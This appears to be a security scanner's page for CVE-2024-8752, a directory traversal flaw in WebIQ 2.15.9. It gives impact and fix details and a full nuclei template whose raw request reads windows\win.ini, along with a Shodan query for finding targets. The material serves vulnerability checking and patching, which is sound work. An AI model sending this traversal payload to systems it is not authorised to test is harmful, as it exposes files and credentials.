WebIQ 2.15.9 - Directory Traversal

highseverity

7.5CVSS score

11.7%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.

Impact

Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Windows system, potentially exposing sensitive configuration files, credentials, database files, and system information.

Fix

Update WebIQ to a version later than 2.15.9 to address the directory traversal vulnerability.

How to confirm it

Send: GET /.webui/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
Positive when: contains_all(body,"bit app support","fonts]","extensions]") and contains(content_type,"image/svg+xml") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-8752 -u <target>

The full check

id: CVE-2024-8752

info:
  name: WebIQ 2.15.9 - Directory Traversal
  author: s4e-io
  severity: high
  description: |
    The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Windows system, potentially exposing sensitive configuration files, credentials, database files, and system information.
  remediation: |
    Update WebIQ to a version later than 2.15.9 to address the directory traversal vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2024-38
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8752
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8752
    epss-score: 0.11666
    epss-percentile: 0.96089
  metadata:
    verified: true
    max-request: 1
    vendor: webiq
    product: webiq
    shodan-query: title:"WebIQ"
  tags: cve,cve2024,webiq,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /.webui/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"bit app support","fonts]","extensions]")'
          - 'contains(content_type,"image/svg+xml")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from